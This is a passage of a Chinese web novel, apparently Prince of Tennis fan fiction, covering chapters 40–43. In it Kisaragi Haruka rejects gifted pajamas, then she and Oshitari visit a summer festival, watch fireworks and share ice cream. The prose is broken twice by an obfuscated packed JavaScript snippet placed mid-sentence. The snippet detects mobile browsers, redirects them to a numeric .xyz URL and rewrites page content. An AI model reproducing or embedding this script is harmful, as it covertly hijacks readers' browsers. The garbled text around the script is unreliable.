千叶纱织不甘示弱,拿起一个Prada盒子拆开,拎出来的是一件黑色的。 极其性感、布料少得可怜的细吊带深V款,后背更是几乎开到腰际。 千叶的脸都红了,小心翼翼地拎着这件“战袍”。 如月遥的目光在那件充满暗示意味的吊带上停留了零点一秒,连眉毛都懒得动。 第三个“不要”依旧掷地有声。 “不要。” “不要。” “这个……不要。” “蕾丝边?不要。” “透视?不要。” “蝴蝶结?不要。” 休息室里,拆包装盒的窸窣声和如月遥那清泠平静、却如同魔音灌耳的连绵不绝的“不要”声此起彼伏,形成了一种极其诡异的交响乐。 水谷、千叶、佐藤拆得手都快抽筋了,动作越来越快,像是在进行一场紧张刺激的流水线作业。 而如月遥拒绝的速度更快,理由更是千奇百怪: 颜色太俗艳?不要! 印花太幼稚?不要! 材质不够垂顺?不要! 款式不够简洁?不要! 一件件价值不菲、设计精美的大牌睡衣被如同垃圾般嫌弃地丢在一旁,迅速堆积成另一座小山。 清水绫子在她连绵不绝、花样百出的“不要”轰炸下,那张精心描绘的脸由红转白,又由白转青,最后涨成了猪肝色。 她精心策划的、试图用金钱砸晕对方的“报恩”行动,彻底变成了对方单方面的、毫不留情的“羞辱”现场。 “够了!” 清水彻底爆发。 她猛地一拍旁边的矮几,震得上面的茶杯叮当乱响,声音因为极致的愤怒和憋屈而尖锐到破音:“这些全都是当季最新款!顶级大牌的设计!全都很好看!你为什么不要!” 她简直要抓狂了! 这个女人是不是审美有缺陷?! 如月遥终于停下了她那永不停歇的“不要”机。 她抬起眼皮,扫过快要气疯的清水,以及地上那堆被嫌弃的、充满了蕾丝、吊带、粉色、蝴蝶结、透视等元素的昂贵睡衣。 她的眼神里明明白白地写着四个大字: 不忍直视。 伸出没受伤的右手,食指随意地点了点地上那些“杰作”,语气带着一种近乎怜悯的嫌弃:“蕾丝,吊带,粉色,开叉,露背……” 像是在列举某种令人不适的病毒:“我接受无力。” 隔着一道薄薄的、并不过分隔音的障子门帘,男汤那边。 噗! 咳咳咳! 一阵极力压抑却依旧清晰的呛水声、闷笑声此起彼伏地传来。 忍足靠在池边,耳边充斥着大小姐嫌弃的“蕾丝吊带粉色”,脑海里却不受控制地、违背主人意愿地自动生成了一幅画面: 清冷孤傲的大小姐,穿着那件粉嫩嫩缀满蕾丝的吊带睡裙…… 轰——!!! 太可怕了! 这画面太有冲击力了! 简直是对大小姐神格的亵渎! 清水被如月遥那赤裸裸的嫌弃气得七窍生烟,指向如月遥身上那件极其简约的黑色连体泳衣,声音充满了鄙夷:“你就只会穿黑色是不是?你有没有点审美!” 她看着如月遥那身欺霜赛雪的肌肤,痛心疾首,“你长得这么白穿点亮眼的颜色不好吗?裹着一身黑,跟要去奔丧一样!” 如月遥非但没有生气,反而像是听到了什么极其有趣的论点。 “高级的审美……” “只有高级的人才懂。” 说罢,她懒得再理会眼前这个被气得浑身发抖、仿佛下一秒就要原地爆炸的粉色蕾丝清水小姐,随意地挥了挥手,仿佛拂去一粒微不足道的尘埃。 “走了。” 她丢下两个字,转身,步履慵懒从容地离开了休息室,留下一个清冷的背影。 “你……你……!!!” 清水绫子只觉得如月遥简直是她命中的劫难。 她精心搭建的“金钱羞辱”堡垒,被对方轻飘飘一句“高级审美”轰得连渣都不剩,她感觉自己像个跳梁小丑,所有自以为是的“优势”在对方眼里都成了低级品味的证明。 对着如月遥消失在走廊尽头的背影,用尽全身力气,发出了石破天惊的怒吼。 “如月遥——!” “我马上给你送黑色睡衣!!” 她几乎是咬牙切齿地把每个字都嚼碎了吐出来: “全!黑!的!” 酝酿最后的、终极的诅咒:“比你的心还黑的那种!” 休息室里,另外三个女生看着眼前这座被嫌弃的昂贵“睡衣山”,再看看清水绫子那副被彻底气疯、双目赤红、头发都快要竖起来的暴走模样,互相交换了一个眼神,终于再也忍不住。 噗嗤! 哈哈哈! 三人爆发出惊天动地的笑声! 隔壁男汤也传来再也压抑不住的闷笑声,以及彻底放弃治疗的狂笑。 能把一向以优雅淑女自居的清水绫子小姐,逼到如此不顾形象、歇斯底里的地步。 如月大小姐,果然是大小姐。 这功力,无人能及! 41. 第 41 章 温泉的暖意和方才那场“睡衣闹剧”的余韵还未完全散去,众人转战到温泉旅馆附设的雅致餐厅,一边享用着精致的下午茶点,一边兴致勃勃地讨论着晚上的活动。 “晚上附近有夏日祭哦!” 水谷雅子兴奋地宣布,眼睛亮晶晶的,“有捞金鱼!射击游戏!还有好多小吃摊!苹果糖、章鱼烧、炒面……” 她掰着手指数着,引得其他几个女生也加入了热烈的讨论。 “最重要的是可以穿浴衣呀!”水谷雅子话锋一转,目光灼灼地看向旁边仿佛置身事外的如月遥,“如月同学!我们一起去吧!穿着浴衣逛祭典才有气氛嘛!” 如月遥端着茶杯的手微微一顿。 她立刻想起了那次在赏花会上被华丽繁复的和服束缚了整整一天、行动极其不便的“痛苦”经历。 “不去。”她放下茶杯,声音清泠干脆,“麻烦。” “诶——别这样嘛!” 水谷雅子立刻开启撒娇模式,凑到如月遥身边,双手合十,眼睛眨巴眨巴地看着她,“浴衣不一样的!很轻便的!穿着很舒服的!比和服轻松一百倍!” 忍足坐在斜对面,将如月遥那一闪而逝的抗拒尽收眼底。 他几乎瞬间就猜到了她为何拒绝,大小姐最讨厌的就是束缚和麻烦。 适时地开口解释,声音温和,“水谷说得没错,浴衣的结构和材质与正式和服不同。” “浴衣通常只用单层布料,没有里衬,腰带也相对简单,穿着舒适度和活动自由度都比和服高很多。” 他看向如月遥,目光带着安抚,“不会像上次那样束手束脚的。” 如月遥瞥了他一眼,眼神里带着点“要你多嘴”的意味,但紧绷的下颌线似乎松动了一丝丝。 水谷雅子见缝插针,立刻再接再厉,拉着如月遥的手臂轻轻摇晃,声音甜得能滴出蜜来: “就是就是!忍足君都这么说了!去嘛去嘛!夏日祭多热闹啊!我们一起去挑好看的浴衣!好不好嘛如月同学~~~” 佐藤明美和千叶纱织也在一旁帮腔,眼神充满期待。 如月遥被水谷软磨硬泡得有些招架不住,再加上忍足那番“科学论证”,她看着眼前几双亮晶晶、写满“求求你了”的眼睛,最终几不可闻地叹了口气,算是默认了。 “好吧。” “耶!太好啦!”水谷雅子欢呼一声,立刻拉起如月遥,“走走走!趁现在时间还早,我们先去浴衣区挑衣服!旅馆里就有专门出租和销售浴衣的地方!” 几个女生叽叽喳喳地簇拥着有些不情不愿的如月遥起身离开餐厅。 水谷雅子还不忘回头,促狭地对着忍足和剩下几个男生眨了眨眼,然后故意大声对如月遥说:“如月同学,浴衣是不是还是要选黑色的呀?嘿嘿~” 如月遥的声音远远传来,带着点无奈的平静:“……如果有的话。” 看着女生们的身影消失在餐厅门口,男生这边立刻热闹起来。 宍户用手肘捅了捅旁边正低头掩饰嘴角笑意的忍足,语气带着明显的调侃:“喂,忍足,还不赶紧去收拾一下?” “头发?衣服?待会儿好‘邀请’如月小姐一起逛祭典啊~”他特意加重了“邀请”两个字。 向日立刻接上,声音充满了搞事的兴奋:“对对对!赶紧去!发胶抹起来!迹部的高级发胶借你用!”他朝迹部挤眉弄眼。 迹部优雅地用指尖点了点桌面,华丽的声音带着看好戏的纵容:“啊嗯?本大爷记得旅馆里有个高级浴衣区,面料和款式都属上乘。” “忍足,你可以随意去挑选,记本大爷账上。” 看着这群唯恐天下不乱的损友,一个比一个起哄得起劲,忍足无奈地推了推眼镜,眼里闪过窘迫,却又带着点掩饰不住的期待。 嘴里发出一声带着关西腔调的、毫无诚意的抱怨: “啊呀啊呀……你们真是……太会起哄了……” 夜幕低垂,轻井沢山间的暑气被晚风稀释,取而代之的是祭典特有的、混合着食物香气、烟火硫磺味和鼎沸人声的喧嚣热浪。 会场灯火通明,各色灯笼和摊位的霓虹招牌将夜空渲染得五彩斑斓,人潮如同涌动的河流,欢笑声、叫卖声、太鼓声交织在一起,充满了鲜活的生命力。 忍足侑士和如月遥被人群簇拥着前行。 迹部、向日等人非常有眼色地将如月默认为忍足的责任。 “忍足是医生,照顾伤员理所应当。” 然后极其默契地瞬间作鸟兽散,眨眼间就消失在熙熙攘攘的人潮里,连片衣角都找不到了。 忍足看着这群损友消失的方向,嘴角不由自主地弯起。 他低下头,看向身旁的如月遥。 不同于以往的清冷疏离,今晚的她仿佛被祭典温暖的灯火和喧嚣柔和了轮廓。 她没有选择惯常的黑色,一身淡蓝色的浴衣,轻盈的棉麻质地,上面铺满了盛开的、姿态优雅的鸢尾花纹样,素雅中透着几分清丽。 佐藤明美心灵手巧地帮她将墨黑的长发盘起,用一枚同色系的、缀着细碎水晶的鸢尾花发簪固定,几缕碎发慵懒地垂在白皙的颈侧和颊边。 灯火勾勒着她清晰的侧脸线条,少了几分平时的凌厉,多了几分朦胧的温柔感。 嗯……至少看起来是温柔的。 忍足心里默默地想,眼眸里漾开一片柔软的光。 他手臂自然地抬起,虚虚地护在她身侧,小心地用自己宽阔的肩膀和手臂为她格挡开拥挤的人流。 隔着薄薄的浴衣布料,他能隐约感觉到她手臂传来的微凉温度。 真好…… 忍足的心跳在喧嚣的人声中变得格外清晰,这是一种久违的、带着隐秘欢喜的独处。 “章鱼烧!”人群中兴奋的喊声。 忍足带着她走向一个香气四溢的章鱼烧摊位。 金黄的小丸子滋滋作响,热气腾腾,散发着诱人的香味。 “尝尝?”忍足看向她,如月遥点点头。 忍足买了小份,老板递过来时,他却没有直接给她。 “小心烫。” 他自然的用竹签叉起一颗圆滚滚、沾着酱料和海苔粉的章鱼烧,小心翼翼地递到如月遥唇边,“手不方便,我拿着就好。” 他的语气温和自然,带着不容置疑的体贴。 如月遥抬眸看了他一眼,眼眸在灯火下显得格外清澈。没有拒绝,微微低下头,张开唇瓣,就着忍足的手,小口咬了下去。 温热软糯的面糊包裹着Q弹的章鱼块,酱汁和海苔的香气在口中弥漫开。 忍足看着她小口咀嚼的模样,只觉得心脏像是被什么东西轻轻撞了一下,柔软得一塌糊涂。 真可爱啊…… 他心里像炸开了无数朵烟花,狂喜的情绪无声地蔓延开来。 接下来是苹果糖摊位。 晶莹剔透的糖壳包裹着饱满的红苹果,在灯光下闪着诱人的光泽。 “想吃吗?”忍足问,如月遥的目光在苹果糖上停留了两秒,点了点头。 这次忍足更加“得寸进尺”了,他直接买了一个,剥开包裹的透明纸,再次将裹着厚厚糖衣的苹果递到了如月遥嘴边。 “这个糖壳硬,小心硌牙。” 酥脆的糖壳碎裂,甜蜜的滋味汹涌而来,混合着苹果的清甜。 “太甜了。”她微微蹙起秀气的眉头,语气带着点嫌弃。 忍足立刻心领神会:“那就不吃了?” 作势要收回,如月遥却盯着那红彤彤的苹果,犹豫了一下又凑过去小小地咬了一口。 忍足看着她这副明明嫌弃甜却又忍不住再尝一口的别扭样子,笑意再也抑制不住,从眼底蔓延开来。 捞金鱼的摊位前围满了孩子和情侣。 小小的彩色塑料盆里,肥硕的金鱼拖着华丽的尾巴悠闲地游弋。如月遥的目光被吸引,多看了两眼。 “想试试?”忍足问。 “嗯。” 摊主递过来一个薄如蝉翼的纸网兜。 如月遥用没受伤的右手接过,弯下腰,屏息凝神,目光锁定一条胖乎乎的红白花金鱼。 纸网兜入水,迅速靠近,轻轻一捞。 噗! 纸网毫无意外地破了。 又试了几次,狡猾的金鱼总能轻易逃脱,留下破碎的纸网。 如月遥的眉头微微蹙起,盯着水面,眼神里难得地流露出一丝不服输的懊恼,忍足忍俊不禁,从她手中接过新的纸网兜。 “我来试试。” 蹲下身,目光沉静如水,手臂稳定得如同磐石。 看准时机,手腕极快地一沉、一兜、一起! 动作流畅迅疾,一气呵成。 一条漂亮的红顶狮头金鱼稳稳地落在了新换的鱼盆里,甩着尾巴吐着泡泡。 “哇!好厉害!”旁边响起小孩子的惊叹声。 如月遥看着盆里那条活蹦乱跳的金鱼,再抬眼看向忍足,眼里掠过赞赏,“挺厉害的,手很稳。” 带着点惯常的揶揄:“不愧是医生。” 精准补刀:“没有从业资格证的医生。” “……” 忍足无奈地失笑,“正在进行中啊,大小姐多给点时间……” 如月遥没再说什么,指向鱼盆里另一条游得特别欢快的黑色龙睛,“还要那个。” “好。” 两人继续在喧嚣的祭典中漫步。 走到射击游戏区时,挂满了毛绒玩具和精美奖品的摊位格外热闹。 忍足的目光扫过摊位上挂着的“头奖”展示牌——是一张星野温泉高级SPA中心的双人体验优惠券。 他随口提了一句,带着点医学生的职业病,“那个SPA中心的理疗据说对放松肌肉效果很好,这张券倒是挺难得。” 如月遥的脚步停了下来,转头看了一眼那张优惠券,又看了看忍足。 然后,她径直走向射击摊位的老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526643|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“老板,枪。” 在摊主和周围几个围观者略带好奇的目光注视下,如月遥单手接过那把对她来说略显轻飘的玩具枪。 没有瞄准,没有犹豫,只是随意地抬起枪口,对着远处挂成一排的、只有硬币大小的红色靶心。 砰!砰!砰!砰!砰!砰!砰!砰!砰!砰! 连发十枪。 枪声干脆利落,如同爆豆。 十声脆响过后!全场寂静。 所有子弹,无一例外,全部精准地命中了十个移动靶位最中心那小小的红点。 十环! 靶心上留下十个清晰的小孔,连成一排。 摊主目瞪口呆,围观者鸦雀无声。 忍足也微微张着嘴,看着那排整齐的十环,一时失语。 如月遥随手将玩具枪递还给完全石化的摊主,清泠的声音响起:“头奖。” 摊主这才如梦初醒,手忙脚乱地将那张高级SPA双人优惠券取下来,双手恭敬地奉上,脸上写满了难以置信的敬畏,“请……请您收好!” 如月遥将那张优惠券,随意地塞进了忍足手里,动作自然流畅,仿佛只是递给他一张纸巾。 “喏。” 她抬眸,在璀璨的灯火下显得格外明亮,“你刚才不是说这个好?” 大小姐…… 她刚才那惊艳全场的射击…… 竟然是…… 特意给他赢的? 忍足的手隔着柔软的浴衣布料,紧紧贴着胸口的位置。 那里揣着那张大小姐刚刚亲手塞给他的、薄薄的SPA优惠券。明明只是一张纸片,此刻却仿佛带着灼人的温度,熨帖着他剧烈跳动的心脏。 他忍不住低笑起来,笑声在喧嚣的祭典背景音中显得格外低沉悦耳,带着发自内心的纯粹愉悦,磁性的声音轻轻搔刮着耳膜。 眼眸里盛满了璀璨的灯火,以及比灯火更为明亮的温柔,如同揉碎了整个夜空的星光。 “多谢……大小姐。” 如月遥微微颔首,“小事一桩。” 就在这时,不远处的人群爆发出更大的欢呼声。 节奏明快、带着浓郁夏日气息的太鼓声咚咚咚地敲响。 人们自动围成了一圈,手臂相连,踩着鼓点,开始跳起了热闹欢快的盂兰盆舞。 水谷雅子兴奋地拉着佐藤和千叶融入其中,跳得格外起劲,脸上洋溢着灿烂的笑容。 如月遥的脚步停顿下来。 她看着那围成圆圈、载歌载舞的人群,这种需要肢体协调、融入集体、表达热烈情绪的群体活动,显然触及了她的雷区。 几乎是下意识地往后退了两步,将自己置身于喧嚣的边缘,像是一个冷静的旁观者。 忍足立刻注意到了她的异常,他顺着她的目光看去,看到水谷雅子在人群中快乐旋转的身影时,似乎明白了什么。 “不想跳的话,”忍足的声音压得很低却清晰地传入她耳中,盖过了喧嚣的鼓点,“我们就走吧?” 如月遥的视线从水谷身上收回,极轻地应了一声:“嗯。” 人群随着舞蹈的节奏移动,变得更加拥挤和混乱。 忍足看着周围推攘的人潮,眉头微蹙,担忧地看向如月遥那只包裹严实的左手。 “人太多了,小心撞到你的手。” 他深吸一口气,心脏在胸腔里擂鼓般敲击。 试探性地伸出手,没有去碰她的手,只是极其克制地、轻轻地拉住了她浴衣袖口边缘的一小块布料,带着十足的谨慎和尊重。 布料传来微弱的拉力感。 如月遥低头看了一眼那只抓住自己袖口的手,骨节分明,修长有力。 既没有挣脱,也没有斥责,她默许了这份束缚,任由他牵引着,像一只被暂时收拢了利爪的猫,跟着他脱离了那片喧闹拥挤的舞蹈圈。 忍足握着那小小的布料,感受着指尖传来的、属于她的浴衣的微凉触感,还有那布料另一端传来的、属于她的存在感。 心脏跳得快要从喉咙里蹦出来,每一步都像是踩在云端。 要是能拉住的是她的手就好了…… 这个念头如同野草般疯狂滋长,让他手心微微冒汗,却又不敢有丝毫逾越。 两人穿过人头攒动的摊位区,远离了鼎沸的人声和震耳的鼓点,朝着视野开阔的山坡走去。 烟火大会的场地已经聚集了不少人。 情侣们依偎着,家人们铺着野餐垫,孩子们兴奋地跑来跑去,空气中弥漫着期待的气息。巨大的发射架如同沉默的巨人,矗立在远处的黑暗里。 忍足知道她不喜欢人多拥挤的地方,目标明确地带着她走向边上一条通往小山坡的小径。 那里有几棵枝叶繁茂的古树,郁郁葱葱,树下地势稍高,视野极佳,又远离了人群的嘈杂。 踩过柔软的草地,走到其中一棵最粗壮的古树下站定。 这里果然清净许多,只有风吹过树叶的沙沙声,还有远处飘来的、被稀释了的祭典喧嚣。 42. 第 42 章 夜空如墨,繁星点点。 山下祭典的灯火如同流淌的星河,两人并肩站在古老的树下,距离不远不近,衣袂在微凉的晚风中轻轻拂动。 忍足的心跳终于慢慢平复下来,宁静而满足的情绪在胸中弥漫开,他偷偷侧过头看向身旁的人。 淡蓝色的鸢尾花浴衣在夜风中微微飘拂,衬得她侧脸如玉。 盘起的发髻下,几缕碎发被风拂动,扫过白皙的颈项。 她微微仰着头,望着那片即将被点燃的夜空,眼眸在星辉下显得格外沉静悠远,仿佛装着整个银河。 忍足没有说话,只是静静站着,时间仿佛被拉长,又仿佛凝固。 终于—— “咻——!” 一声尖锐的破空声撕裂了夜的宁静。 “嘭!!!” 一朵巨大的、绚烂无比的金色菊花在夜空中轰然绽放,金色的光芒如同瀑布般倾泻而下,瞬间点亮了整个夜空。 盛大华丽的夏日烟火大会,开始了。 璀璨的烟花在墨蓝的夜空中次第绽放,将绚烂的光影泼洒在树下并肩而立的两人身上。 明明灭灭的光芒,如同跳动的音符,在如月遥仰望夜空的侧脸上流淌。 烟火的金辉、银雨、紫霞在她眼眸里盛放、碎裂、流淌,映照出一种平日里罕见的、近乎温柔的迷离光彩。 忍足的目光,贪婪地、近乎痴迷地锁在那张被烟火点亮的容颜上。 胸腔里那颗心脏,每一次搏动都带着灼热的温度。 就是现在! 他想。 这个瞬间,太美好,太珍贵。 他必须要告诉她。 告诉她这轮清冷的明月,是如何一点点占据了他心房的每一寸空间。 告诉她那些不敢言说的悸动、那些深夜的辗转、那些因她一个眼神就天翻地覆的心情。 “如月……” 他开口,声音因为紧张而微微发哑,带着一种前所未有的郑重和炽热。 “我……” 就在这酝酿着千言万语、即将喷薄而出的告白时刻。 “啪嗒。” 一声极其轻微的脆响。 如月遥盘在脑后、被那枚同色系鸢尾花发簪固定的发髻,不知是因为动作幅度,还是发簪本身没卡紧,竟毫无预兆地松脱了开来。 乌黑如瀑的长发倾泻而下,如同柔软的绸缎,披散在她纤细的肩头和后背,几缕发丝滑落额前,遮住了她小半边脸颊。 如月遥的动作顿住了。 低下头看着散落在自己肩头和手臂上的发丝,秀气的眉头蹙了起来。 那点因为烟火而流露出的柔和,瞬间被被打扰的不悦取代。 下意识地想抬起手,将散落的长发重新拢起。 可目光触及自己那只被忍足用保鲜膜和绷带裹得严严实实、像个白色胖蚕茧一样的左手时,那点不悦瞬间化为了实质性的不满。 她猛地转过头,精准地锁定在罪魁祸首忍足的脸上,毫不客气地瞪了他一眼。 那眼神里清清楚楚地写着:都怪你包成这样!碍事! 忍足满腔汹涌澎湃的告白情愫,被这突如其来的一瞪,瞬间如同被戳破的气球,泄了个干净。 后面的话卡在喉咙里,上不去下不来,刚才还沸腾的血液瞬间冷却。 “我……”他呐呐地开口,却一个字也说不出来,只剩下满心的懊恼和无措。 完了…… 好不容易鼓起的勇气…… 如月遥看着他这副呆若木鸡、欲言又止的傻样,眉头蹙得更紧,显然耐心告罄。 她抬起下巴,朝着忍足的方向微微一点,理所当然的命令,“帮我把头发拢起来。” 轰—— 忍足只觉得刚冷却下去的血液又冲回了头顶。 这次不是因为激动,而是因为惊愕和手足无措。 帮……帮她梳头发?! 他、他连自己的头发都只会用发胶随便抓抓。 梳头? 尤其是给女孩子梳头,这简直触及了他的知识盲区。 忍足喉咙发干,看着眼前那如瀑般散开的长发,只觉得头皮发麻。 他想拒绝,想说自己不会,可对上如月遥那双带着命令的眼眸,所有的推辞都堵在了喉咙里。 他不想拒绝。 或者说,他根本无法拒绝这个靠近她的机会。 像是奔赴刑场般,忍足缓缓地极其僵硬地抬起了手。 指尖小心翼翼地触碰到那冰凉顺滑的发丝,如同触电般的酥麻感瞬间从指尖窜遍全身。 全身的肌肉都绷紧了,手臂僵硬得如同木棍,手指几乎不敢用力,只能虚虚地拢着,生怕弄疼了她。 如月遥感受到他那笨拙僵硬的动作,不耐烦地“啧”了一声。 “笨死了。” 她清泠的声音带着毫不掩饰的嫌弃,清晰地砸在忍足心上。 “你……你说怎么弄?”他声音干涩,带着点可怜兮兮的求助意味。 “麻花辫。”如月遥言简意赅,语气依旧嫌弃却开始口头教学,“分成三股,从发根开始编……” 忍足屏住呼吸,聆听圣旨,一边笨拙地尝试着将手中的长发分成三股,一边竖起耳朵捕捉她每一个指令。 他不得不微微靠近她,她身上散发出的硫磺温泉气息,混合着独属于她的雪松味道,丝丝缕缕钻入他的鼻腔,让他心神摇曳。 指尖颤抖着划过她细腻温热的颈后皮肤,那触感如同羽毛拂过,亲密、悸动。 忍足只觉得自己的指尖乃至整个手臂都像是过了电,让他心跳失序,连呼吸都变得小心翼翼。 将三股头发交叉、缠绕…… 动作生涩得如同蹒跚学步的孩童,每一次交叉,他的指尖都不可避免地轻轻擦过她的后颈或耳廓的肌肤,每一次都让他浑身一颤,额角渗出细密的汗珠。 时间仿佛被无限拉长。 终于,在经历了无数次“错了”、“不是这样”、“笨”的低斥后,一条歪歪扭扭、勉强成型的麻花辫终于在他手下诞生了。 虽然辫子粗细不均,还松散地耷拉着,但总算像个辫子了。 忍足无声地舒了一口气,仿佛打了一场硬仗,后背都湿透了。 而那枚精致的鸢尾花发簪还在脚边的草地上,他弯下腰捡起,用指腹仔细地拂去上面沾染的草屑和灰尘。 然后带着十二万分的虔诚和紧张,试探性地将那枚发簪,重新别进了辫子收拢的地方。 发簪冰凉的触感贴上温热的发丝,如月遥微微动了一下。 忍足的心瞬间提到了嗓子眼,屏住呼吸,等待她的反应。 如月遥没有回头,极其自然地低下了头。将那片需要固定发簪的后颈发丝,默许地清晰地展露在他面前。 忍足有千言万语,但是只化为微颤的手指,坚定地将发簪牢固地别了回去。 烟花依旧在头顶绚烂地绽放,将两人并肩而立的影子拉得很长。 夜风微凉,带着草木和远处硝烟的淡淡气息。 忍足刚刚经历了一场比拆解神经还复杂、比面对三头黑熊还紧张的“编发战役”,额头上还挂着细密的汗珠,心跳也尚未完全平复。 如月遥毫无预兆地转过头来,目光落在他汗湿的额角,“你很热?” 对上她清澈的目光,忍足心头一虚,下意识地移开视线,抬手掩饰性地抹了抹额角:“啊…是的,有点热。” 如月遥只是淡淡地撇了他一眼,那眼神仿佛在说“真没用”。 抬步朝着祭典依旧热闹的方向走去,声音随着夜风飘来:“走吧,请你吃冰激凌。” 忍足立刻跟上,像个最忠实的影子,跟在她身后半步的位置。 心里那点因为“笨手笨脚”而产生的懊恼,瞬间被这句话冲散,只剩下满满的、被糖分包裹的雀跃。 很快,就在路边找到了一个卖软冰激凌的小摊。 暖黄的灯光下,各种口味的冰激凌模型在灯箱里闪闪发光。 “想吃什么口味?” 忍足看着那些甜蜜的诱惑,几乎没怎么思考,“嗯…巧克力的吧。” “大小姐喜欢哪个?” “香草。” 她利落地付了钱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526644|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 摊主很快递过来两个高高的甜筒,一个淋着浓郁巧克力酱、撒着巧克力碎,另一个则是纯净的白色香草味,顶端微微打着螺旋。 如月遥用没受伤的右手稳稳地接过自己的香草冰激凌,低头小口地舔舐起来。 动作斯文,带着一种猫科动物般的优雅,微凉的冰激凌接触温热的唇瓣,让她满足地眯了眯眼。 忍足站在她身侧,同样拿着自己的巧克力甜筒,心思却完全不在上面。他的目光状似无意地落在她身上,看着她小口吃着冰激凌的样子。 氤氲的灯火柔和了她清冷的轮廓,专注进食的模样让她少了几分平日的疏离和锐利。 每次看都觉得好可爱啊…… 这个念头轻轻搔刮着他的心尖。 突然,他感觉到了如月的视线,落在了他手中那个几乎没动过的、淋满了巧克力酱的冰激凌上。 她看着那深褐色的甜蜜,眼神里似乎掠过一丝好奇。 忍足的心跳如同脱缰的野马,一个大胆的念头不受控制地冒了出来。 他几乎是屏着呼吸,小声问:“要……要尝尝吗?” “我还没吃。” 他将自己的巧克力甜筒往前递了递,动作带着十足的谨慎和期待。 如月遥的目光在那诱人的巧克力上停留了两秒。 然后,她微微抿了抿自己沾着淡淡白色奶油的唇瓣,有点犹豫,却又似乎被那深色的甜蜜所吸引。 在忍足紧张到几乎窒息的注视下,她终于微微倾身,凑近了他递过来的冰激凌。 舌尖极其快速地在侧面的巧克力酱上,蜻蜓点水般地舔了一下。 “唔……” “太甜了,不行。” 她立刻蹙起了秀气的眉头,毫不掩饰地表达了自己的嫌弃,仿佛那甜度是对她味蕾的亵渎。 嫌弃地瞥了一眼忍足手中的巧克力冰激凌,仿佛在看什么不可理喻的东西,然后果断地低下头,重新专注地吃起自己手中那纯净的香草味,用实际行动表达了对“甜度超标”的抗议。 忍足愣在原地。 他刚刚……看到了什么? 大小姐那粉嫩的舌尖,那样轻巧地、带着点试探性地舔过了他手中的冰激凌。 虽然只是短暂的一瞬,虽然她立刻就嫌弃地否定了。 但那个画面……那个动作…… 带着一种无法言喻的无意识诱惑。 在他的眼里,那轻轻的一舔,简直比伊甸园里诱惑亚当夏娃的毒蛇还要勾魂摄魄,瞬间点燃了他心底深处所有被强行压抑的、隐秘而汹涌的欲望。 口干舌燥,喉咙像是被砂纸磨过。 他握着冰激凌的手都开始不受控制地微微颤抖起来。 为了掩饰内心的滔天巨浪,他慌乱地低下头,对着自己手中那个“罪魁祸首”的巧克力冰激凌,狠狠地咬了一大口。 冰凉甜腻的巧克力混合着冰激凌瞬间充斥口腔,冰冷的感觉稍微压制了一下身体里的燥热。 但下一秒,一个更加让他血液沸腾、心跳失速的念头如同惊雷般在他脑中炸响。 等等! 她刚刚……舔了他还没吃过的冰激凌! 那…… 那他这紧接着咬下去的一大口…… 岂不是……岂不是…… 间接……接吻?! 这个认知如同千万伏特的电流,瞬间击穿了忍足所有的理智,他的脸颊瞬间爆红,连脖子根都染上了晚霞般的颜色。僵在原地,连呼吸都忘记了。 脑子里一片空白,只剩下那个粉嫩舌尖轻触巧克力的画面和“间接接吻”四个大字在疯狂循环播放。 他拿着冰激凌,像个雕塑般杵在那里,眼神呆滞,只有胸腔里那颗心脏在疯狂地、毫无章法地撞击着肋骨,发出震耳欲聋的轰鸣声。 过了好几秒,忍足才像是被烫到一样,猛地回神,手忙脚乱地将那个“间接接吻”的罪证拿得离自己远远的,仿佛那是什么洪水猛兽。 他偷偷瞥了一眼身旁若无其事的如月遥,又飞快地低下头,只觉得这夏日祭的夜晚,真是太考验他的心脏承受能力了。 43. 第 43 章 “那个……”忍足的声音干涩得厉害,带着点落荒而逃的意味。 “烟火好像快结束了,人应该少点了。我们要不要往回走?” 如月遥吃东西的速度向来干脆利落,没几下冰激凌就只剩下一个空荡荡的脆筒底。 她随手将纸筒丢进旁边的回收桶,点了点头表示同意。 然而,她的目光扫过忍足手中那个才吃了没几口的巧克力甜筒,好看的眉头立刻蹙了起来,毫不掩饰地流露出对浪费食物的不赞同。 “不要浪费。” 忍足接如同得了圣旨,哪里还敢耽搁? 立刻对着手中那个“间接接吻”的罪证,如同完成任务般,三下五除二地“吭哧吭哧”大口咬了下去。 冰凉的奶油和甜腻的巧克力酱混合着刚才那些让他心潮澎湃的念头,一股脑儿被他囫囵吞了下去。 刚解决完冰激凌,忍足正想松口气,准备离开这片让他心跳失序的“危险区域”,却见如月遥的目光再次落在他脸上,眉头蹙得更紧,眼神带着明显的嫌弃。 纤细的食指对着他的嘴角方向点了点:“这里沾到了。” 简直是雪上加霜! 他暗地里唾弃自己一万遍:笨手笨脚,形象全无,丢人丢到家了。 下意识想抬手去擦,可手抬到一半又僵住了。 没有镜子,不知道具体位置,万一胡乱一擦,反而把巧克力酱抹得满脸都是怎么办?岂不是更糟? 就在他进退维谷、窘迫不堪的时候,微凉的手指又轻又快地擦过了他的嘴角。 如同被按下了暂停键。 所有的感官在那瞬间全部聚焦在那一点微凉的触感上。 她的指尖带着一点点冰激凌外壳残留的温度,还有属于她本身的清冽雪松气息,就那么随意地扫过了他嘴角沾着巧克力酱的皮肤。 那感觉比刚才想象中“间接接吻”的冲击力还要直接千百倍,仿佛一道细微却强劲的电流,从那一点瞬间窜遍四肢百骸。 